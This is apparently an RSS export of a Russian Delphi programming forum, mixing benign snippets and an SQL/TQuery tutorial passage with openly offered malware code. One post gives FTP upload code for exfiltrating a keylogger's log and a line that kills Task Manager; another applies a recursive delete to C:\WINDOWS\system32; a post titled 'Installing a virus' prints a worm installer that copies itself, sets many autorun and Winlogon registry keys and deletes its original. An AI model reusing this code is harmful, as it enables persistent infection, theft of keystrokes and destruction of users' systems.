end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-486-1</guid>
</item>
<item>
<title>Найти все окна в системе</title>
<link>https://delfcode.ru/forum/22-485-1</link>
<pubDate>Sun, 08 May 2011 08:41:37 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function okna: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wnd : hWnd; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buff: array &amp;#91;0..127] of Char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl: TStringList; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl:=TStringList.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wnd := GetWindow(Application.Handle, gw_HWndFirst&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while Wnd &lt;&gt; 0 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Wnd &lt;&gt; Application.Handle&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IsWindowVisible(Wnd&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(GetWindow(Wnd, gw_Owner&amp;#41; = 0&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(GetWindowText(Wnd, buff, sizeof(buff&amp;#41;&amp;#41; &lt;&gt; 0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowText(Wnd, buff, sizeof(buff&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl.Add(StrPas(buff&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wnd := GetWindow(Wnd, gw_hWndNext&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=sl.Text; &lt;br /&gt; end; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-485-1</guid>
</item>
<item>
<title>Функции для работы со строками</title>
<link>https://delfcode.ru/forum/22-451-1</link>
<pubDate>Wed, 06 Apr 2011 07:48:50 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: портируем функции из php в Delphi&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>вообщем задумал написать написать граббер на делфи и вот не задача в делфи нет функции типа str_replace и preg_replace, видел в сети компонент но больно он уж сложный, у кого есть эти функции под дельфи?</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/22-451-1</guid>
</item>
<item>
<title>Пару примеров!</title>
<link>https://delfcode.ru/forum/22-443-1</link>
<pubDate>Thu, 10 Feb 2011 17:47:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; IdFTP.Host := &apos;Host name&apos;; // указываем хост FTP сервера &lt;br /&gt; IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21&amp;#41; &lt;br /&gt; IdFTP.Username := &apos;Login&apos;; // указываем логин FTP сервера &lt;br /&gt; IdFTP.Password := &apos;Pass&apos;; // указываем пароль FTP сервера &lt;br /&gt; IdFTP.Connect; // соединяемся с&amp;nbsp;&amp;nbsp;FTP сервером &lt;br /&gt; IdFTP.Put(&apos;log.txt&apos;, &apos;log.txt&apos;, False&amp;#41;; // отправляем файл FTP серверу &lt;br /&gt; IdFTP.Disconnect; // отсоединяемся от FTP сервера &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; Компонент: IdFTP &lt;br /&gt; Все! &lt;br /&gt; А вот еще убиваем диспетчера &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; PostMessage(FindWindow(Nil, &apos;Диспетчер задач Windows&apos;&amp;#41;, WM_QUIT, 0, 0&amp;#41;; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; Порверяем существует файл на диске или нет? &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; var &lt;br /&gt; FileName : string; &lt;br /&gt; begin &lt;br /&gt; FileName := &apos;С:&amp;#92;prog.exe&apos;; &lt;br /&gt; if FileExists(FileName&amp;#41; then &lt;br /&gt; ShowMessage(&apos;Файл существует&apos;&amp;#41; &lt;br /&gt; else &lt;br /&gt; ShowMessage(&apos;Файл не существует&apos;&amp;#41; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;br /&gt; Как программно открыть файл или папку. (ShellAPI)! &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;ShellExecute(Handle,&apos;Open&apos;,Pchar(&apos;C:&amp;#92;file.exe&amp;#41;,nil,nil,1&amp;#41;;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; УВСЕ! &lt;br /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; &lt;br /&gt; Зэ ЭНД?</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>cool1</dc:creator>
<guid>https://delfcode.ru/forum/22-443-1</guid>
</item>
<item>
<title>Удаляем папку</title>
<link>https://delfcode.ru/forum/22-441-1</link>
<pubDate>Wed, 09 Feb 2011 03:48:25 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: cool1&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Сначала берем функцию удаления папки: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function MyRemoveDir(sDir : string&amp;#41; : Boolean;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; iIndex: Integer;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; SearchRec: TSearchRec;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; sFileName: string;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Result := False;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; sDir := sDir + &apos;&amp;#92;*.*&apos;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; iIndex := FindFirst(sDir, faAnyFile, SearchRec&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; while iIndex = 0 do&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sFileName := ExtractFileDir(sDir&amp;#41;+&apos;&amp;#92;&apos;+SearchRec.name;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if SearchRec.Attr = faDirectory then&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (SearchRec.name &lt;&gt; &apos;&apos; &amp;#41; and (SearchRec.name &lt;&gt; &apos;.&apos;&amp;#41; and&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(SearchRec.name &lt;&gt; &apos;..&apos;&amp;#41; then&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyRemoveDir(sFileName&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if SearchRec.Attr &lt;&gt; faArchive then&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileSetAttr(sFileName, faArchive&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not DeleteFile(sFileName&amp;#41; then&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&apos;Could NOT delete &apos; + sFileName&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;iIndex := FindNext(SearchRec&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; FindClose(SearchRec&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; RemoveDir(ExtractFileDir(sDir&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Result := True;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; А вот теперь самое простое &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; MyRemoveDir(&apos;C:&amp;#92;WINDOWS&amp;#92;system32&apos;&amp;#41;; //Удаляем дерикторию C:&amp;#92;WINDOWS&amp;#92;system32 &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; Удачи &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>cool1</dc:creator>
<guid>https://delfcode.ru/forum/22-441-1</guid>
</item>
<item>
<title>Инсталяция вируса в систему</title>
<link>https://delfcode.ru/forum/22-244-1</link>
<pubDate>Thu, 02 Dec 2010 22:57:24 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Немного о инсталяции &lt;p&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;p&gt; Procedure InstallWorm; &lt;br /&gt; Var &lt;br /&gt; Path :String; &lt;br /&gt; Mutex :String; &lt;br /&gt; Handle:THandle; &lt;br /&gt; Bat :TextFile; &lt;br /&gt; Begin &lt;br /&gt; Randomize; &lt;br /&gt; Sleep(Random(10000)); &lt;p&gt; Mutex := &apos;- Fuck Bill Gates -&apos;; &lt;br /&gt; Handle := CreateMutexA(NIL, FALSE, pChar(Mutex)); &lt;br /&gt; If (Handle = ERROR_ALREADY_EXISTS) Then &lt;br /&gt; ExitProcess(0); &lt;p&gt; Path := SysDir + &apos;FuckGates.com&apos;; &lt;br /&gt; If (ParamStr(0) &lt;&gt; Path) Then &lt;br /&gt; Begin &lt;br /&gt; If (CopyFile(pChar(ParamStr(0)), pChar(Path), False)) Then &lt;br /&gt; Begin &lt;br /&gt; SetRegValue(HKEY_CURRENT_USER, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;run&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_CURRENT_USER, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runonce&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_CURRENT_USER, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runonceex&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_CURRENT_USER, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runservices&apos;, &apos;Fuck Gates&apos;, Path); &lt;p&gt; SetRegValue(HKEY_LOCAL_MACHINE, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;run&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_LOCAL_MACHINE, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runonce&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_LOCAL_MACHINE, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runonceex&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_LOCAL_MACHINE, &apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;runservices&apos;, &apos;Fuck Gates&apos;, Path); &lt;br /&gt; SetRegValue(HKEY_LOCAL_MACHINE, &apos;software&amp;#92;microsoft&amp;#92;windows nt&amp;#92;currentversion&amp;#92;winlogon&apos;, &apos;Shell&apos;, &apos;Explorer.exe FuckGates.com&apos;); &lt;br /&gt; End; &lt;p&gt; AssignFile(Bat, &apos;C:&amp;#92;FuckGates.Bat&apos;); &lt;br /&gt; ReWrite(Bat); &lt;p&gt; WriteLn(Bat, &apos;@ECHO OFF&apos;); &lt;br /&gt; writeLn(Bat, &apos;cls&apos;); &lt;br /&gt; writeLn(Bat, &apos;del &quot;&apos;+ParamStr(0)+&apos;&quot;&apos;); &lt;br /&gt; WriteLn(Bat, &apos;cls&apos;); &lt;br /&gt; WriteLn(Bat, &apos;Echo - Fuck Bill Gates - Fuck Microsoft -&apos;#13#10&apos;Echo - Created by blaZcan &amp;copy; 2005 -&apos;); &lt;br /&gt; WriteLn(Bat, &apos;echo  &apos;);WriteLn(Bat, &apos;echo  &apos;); &lt;br /&gt; WriteLn(Bat, &apos;pause&apos;); &lt;br /&gt; CloseFile(Bat); &lt;p&gt; ShellExecute(0, &apos;open&apos;, pchar(path), nil, nil, 0); &lt;br /&gt; ShellExecute(0, &apos;open&apos;, &apos;c:&amp;#92;FuckGates.Bat&apos;, nil, nil, 1); &lt;br /&gt; ExitProcess(0); &lt;br /&gt; End; &lt;br /&gt; End; &lt;p&gt; &lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-244-1</guid>
</item>
<item>
<title>SQL-запросы в Delphi</title>
<link>https://delfcode.ru/forum/22-311-1</link>
<pubDate>Sun, 18 Jul 2010 18:34:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: SQL&lt;br /&gt;Автор темы: CraftR15&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Компоненты Delphi для работы с базами данных были созданы в расчете на работу с SQL и архитектурой клиент/сервер. При работе с ними вы можете воспользоваться характеристиками расширенной поддержки удаленных серверов. Delphi осуществляет эту поддержку двумя способами. Во-первых, непосредственные команды из Delphi позволяют разработчику управлять таблицами, устанавливать пределы, удалять, вставлять и редактировать существующие записи. Второй способ заключается в использовании запросов на языке SQL, где строка запроса передается на сервер для ее разбора, оптимизации, выполнения и передачи обратно результатов. &lt;br /&gt; Примечание: Данный документ представляет собой коллективный труд нескольких авторов, которые индивидуально несут ответственность за качество предоставленной здесь информации. Borland не предоставлял, и не может предоставить никакой гарантии относительно содержимого данного документа. &lt;br /&gt; 1. Введение &lt;p&gt; Данный документ делает акцент на втором методе доступа к базам данных, на основе запросов SQL (pass-through). Авторы не стремились создать курсы по изучению синтаксиса языка SQL и его применения, они ставили перед собой цель дать несколько примеров использования компонентов TQuery и TStoredProc. Но чтобы сделать это, необходимо понимать концепцию SQL и знать как работают selects, inserts, updates, views, joins и хранимые процедуры (stored procedures). Документ также вскользь касается вопросов управления транзакциями и соединения с базой данных, но не акцентирует на этом внимание. Итак, приступая к теме, создайте простой запрос типа SELECT и отобразите результаты. &lt;br /&gt; 2. Компонент TQuery &lt;p&gt; Если в ваших приложениях вы собираетесь использовать SQL, то вам непременно придется познакомиться с компонентом TQuery. Компоненты TQuery и TTable наследуются от TDataset. TDataset обеспечивает необходимую функциональность для получения доступа к базам данных. Как таковые, компоненты TQuery и TTable имеют много общих признаков. Для подготовки данных для показа в визуальных компонентах используется все тот же TDatasource. Также, для определения к какому серверу и базе данных необходимо получить доступ, необходимо задать имя псевдонима. Это должно выполняться установкой свойства aliasName объекта TQuery. &lt;br /&gt; Свойство SQL &lt;br /&gt; Все же TQuery имеет некоторую уникальную функциональность. Например, у TQuery имеется свойство с именем SQL. Свойство SQL используется для хранения SQL-запроса. Ниже приведены основные шаги для составления запроса, где все служащие имеют зарплату свыше $50,000. &lt;br /&gt; Создайте объект TQuery &lt;br /&gt; Задайте псевдоним свойству DatabaseName. (Данный пример использует псевдоним IBLOCAL, связанный с демонстрационной базой данных employee.gdb). &lt;br /&gt; Выберите свойство SQL и щелкните на кнопке с текстом - &apos;...&apos; (три точки, Инспектор Объектов - В.О.). Должен появиться диалог редактора списка строк (String List Editor). &lt;br /&gt; Введите: Select * from EMPLOYEE where SALARY&gt;50000. Нажмите OK. &lt;br /&gt; Выберите в Инспекторе Объектов свойство Active и установите его в TRUE. &lt;br /&gt; Разместите на форме объект TDatasource. &lt;br /&gt; Установите свойство Dataset у TDatasource в Query1. &lt;br /&gt; Разместите на форме TDBGrid. &lt;br /&gt; Установите его свойство Datasource в Datasource1. &lt;br /&gt; Свойство SQL имеет тип TStrings. Объект TStrings представляет собой список строк, и чем-то похож на массив. Тип данных TStrings имеет в своем арсенале команды добавления строк, их загрузки из текстового файла и обмена данными с другим объектом TStrings. Другой компонент, использующий TStrings - TMemo. В демонстрационном проекте ENTRSQL.DPR (по идее, он должен находится на отдельной дискете, но к &quot;Советам по Delphi&quot; она не прилагается - В.О.), пользователь должен ввести SQL-запрос и нажать кнопку &quot;Do It&quot; (&quot;сделать это&quot;). Результаты запроса отображаются в табличной сетке. В Листинге 1 полностью приведен код обработчика кнопки &quot;Do It&quot;. Листинг 1 &lt;p&gt; procedure TForm1.BitBtn1Click(Sender: TObject); &lt;br /&gt; begin &lt;br /&gt; Query1.close; {Деактивируем запрос в качестве одной из мер предосторожности } &lt;br /&gt; Query1.SQL.Clear; {Стираем любой предыдущий запрос} &lt;br /&gt; If Memo1.Lines[0] &lt;&gt; &apos;&apos; {Проверяем на предмет пустого ввода} then &lt;br /&gt; Query1.SQL.Add(Memo1.Text) {Назначаем свойству SQL текст Memo} &lt;br /&gt; else &lt;br /&gt; begin &lt;br /&gt; messageDlg(&apos;Не был введен SQL-запрос&apos;, mtError, [mbOK], 0); &lt;br /&gt; exit; &lt;br /&gt; end; &lt;br /&gt; try {перехватчик ошибок} &lt;br /&gt; Query1.Open; {Выполняем запрос и открываем набор данных} &lt;br /&gt; except {секция обработки ошибок} &lt;br /&gt; On e : EDatabaseError do {e - новый дескриптор ошибки} &lt;br /&gt; messageDlg(e.message, &lt;br /&gt; mtError, &lt;br /&gt; [mbOK],0); {показываем свойство message объекта e} &lt;br /&gt; end; {окончание обработки ошибки} &lt;br /&gt; end; &lt;p&gt; Свойство Params &lt;br /&gt; Этого должно быть достаточно для пользователя, знающего SQL. Тем не менее, большинство пользователей не знает этого языка. Итак, ваша работа как разработчика заключается в предоставлении интерфейса и создании SQL-запроса. В Delphi, для создания SQL-запроса на лету можно использовать динамические запросы. Динамические запросы допускают использование параметров. Для определения параметра в запросе используется двоеточие (:), за которым следует имя параметра. Ниже приведен пример SQL-запроса с использованием динамического параметра: &lt;br /&gt; select * from EMPLOYEE &lt;br /&gt; where DEPT_NO = ept_noЕсли вам нужно протестировать, или установить для параметра значение по умолчанию, выберите свойство Params объекта Query1. Щелкните на кнопке &apos;...&apos;. Должен появиться диалог настройки параметров. Выберите параметр Dept_no. Затем в выпадающем списке типов данных выберите Integer. Для того, чтобы задать значение по умолчанию, введите нужное значение в поле редактирования &quot;Value&quot;. Для изменения SQL-запроса во время выполнения приложения, параметры необходимо связать (bind). Параметры могут изменяться, запрос выполняться повторно, а данные обновляться. Для непосредственного редактирования значения параметра используется свойство Params или метод ParamByName. Свойство Params представляет из себя массив TParams. Поэтому для получения доступа к параметру, необходимо указать его индекс. Для примера, &lt;p&gt; Query1.params[0].asInteger := 900; &lt;p&gt; Свойство asInteger читает данные как тип Integer (название говорит само за себя). Это не обязательно должно указывать но то, что поле имеет тип Integer. Например, если тип поля VARCHAR(10), Delphi осуществит преобразование данных. Так, приведенный выше пример мог бы 